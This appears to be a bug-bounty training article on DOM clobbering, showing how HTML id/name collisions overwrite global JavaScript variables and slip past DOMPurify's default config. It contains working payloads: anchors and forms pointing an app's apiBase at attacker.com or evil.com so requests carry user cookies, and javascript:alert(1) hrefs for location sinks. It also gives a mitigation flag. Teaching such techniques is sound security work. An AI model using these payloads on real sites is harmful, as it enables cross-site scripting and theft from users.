Advanced levelPremium

DOM clobbering — overriding global JS variables to bypass sanitizers

How to use DOM clobbering (name/id collisions) to overwrite global JS variables and bypass sanitizers like DOMPurify, achieving XSS where innerHTML is blocked by default.

Gorka El BochiMay 11, 202614 min

Quick answer

DOM clobbering takes advantage of the fact that HTML elements with an id or name are automatically exposed as properties of document and window. If an app reads window.config.apiBase or document.foo.bar expecting a JS object, the attacker can inject <form id="config"><input name="apiBase" value="https://evil.com"> and the access via property lookup returns the HTMLElement as if it were the expected object. It allows bypassing sanitizers (DOMPurify by default allows name/id attributes) and HTML-only injection that escalates to JS execution.


The base mechanism

The HTML5 spec declares that, for compatibility with legacy code, elements with an id or name are exposed in the global scope:

html
<div id="myVar"></div>
javascript
console.log(window.myVar);  // HTMLDivElement
console.log(myVar);          // Same, sin prefijo window

If two elements have the same id, JS returns an HTMLCollection:

html
<a id="link"></a>
<a id="link"></a>
javascript
window.link;  // HTMLCollection [a, a]

And inside a <form>, the <input name="foo"> are exposed as properties of the form:

html
<form id="config">
  <input name="apiBase" value="https://attacker.com">
</form>
javascript
window.config.apiBase;  // HTMLInputElement
window.config.apiBase.value;  // "https://attacker.com"

When the app coerces this to a string (concat, template literal, fetch), the browser calls toString(), which returns the value attribute for <input> or the href for <a>.


Basic vulnerable pattern

javascript
// App busca window.config (espera objeto JS)
if (window.config && window.config.apiBase) {
  fetch(window.config.apiBase + '/data');
}

If the attacker can inject HTML only (no <script>), they wouldn't need JS execution. Just:

html
<a id="config"></a>
<a id="config" name="apiBase" href="https://attacker.com//"></a>

window.config resolves to an HTMLCollection with two <a>. Property access .apiBase searches by name → the second <a>. Coerce to a string → the href. Result: the app does fetch('https://attacker.com//data') with the user's cookies.


Clobberable elements — reference table

ElementtoString() returnsProperty exposure
<a id="x" href="URL">The href URLwindow.x
<area id="x" href="URL">The href URLwindow.x
<form id="x"><input name="y">[object HTMLFormElement]window.x.y = input element
<iframe id="x" src="URL">The src URLwindow.x (the iframe's Window object)
<img id="x" src="URL">The src URLwindow.x
<object id="x" data="URL">The data URLwindow.x
<embed id="x" src="URL">The src URLwindow.x
<base href="URL">n/aChanges the relative base URL

Anchor tag — the most versatile clobber

<a> makes its toString() return the href:

html
<a id="x" href="https://attacker.com"></a>
javascript
String(window.x);  // "https://attacker.com"
window.x + '';      // "https://attacker.com"
`${window.x}`;     // "https://attacker.com"

Any sink that concatenates or uses a template literal with window.x now redirects to attacker.com.

Useful variants

html
<!-- href con javascript: para sinks que asignan a location -->
<a id="redirect" href="javascript:alert(1)"></a>

If the app does location = window.redirect, it triggers XSS (the "soft" location sink accepts javascript:).

html
<!-- Form con múltiples inputs para construir objeto multi-prop -->
<form id="settings">
  <input name="theme" value="dark">
  <input name="apiUrl" value="https://evil.com">
  <input name="onError" value="ATTACKER_FUNC">
</form>

If the app reads window.settings.theme, .apiUrl, .onError → all clobbered.


Sanitizer bypass — DOMPurify default config

DOMPurify by default allows id and name attributes because they are legitimate HTML attributes (not executable handlers). Without <script> or handlers, sanitization detects nothing dangerous. But the elements stay alive in the DOM and available to clobber:

javascript
const dirty = `<form id="config"><input name="apiBase" value="javascript:alert(1)">`;
const clean = DOMPurify.sanitize(dirty);
console.log(clean);
// → <form id="config"><input name="apiBase" value="javascript:alert(1)">
//
// DOMPurify NO bloquea esto. No hay tags ejecutables ni handlers.
// Pero al insertarlo, window.config.apiBase ahora es controlado por atacante.

document.body.innerHTML = clean;

// Cualquier código posterior que lea window.config.apiBase está pwned
location = window.config.apiBase;  // → javascript:alert(1)

Correct mitigation

DOMPurify has the SANITIZE_DOM: true config (default) and SANITIZE_NAMED_PROPS: true (not default until v3.x). Enable:

javascript
DOMPurify.sanitize(dirty, { SANITIZE_NAMED_PROPS: true });

This prefixes the id/name with user-content-, avoiding collisions with globals. But most apps do NOT enable this flag because they don't know about it.

Keep reading the full chain

The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.

Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

Practice this in a lab

Dom Clobbering

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

2,482

hunters training

62

labs from real hacks

1,629

completions

$14,790

paid out for these bugs

11 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy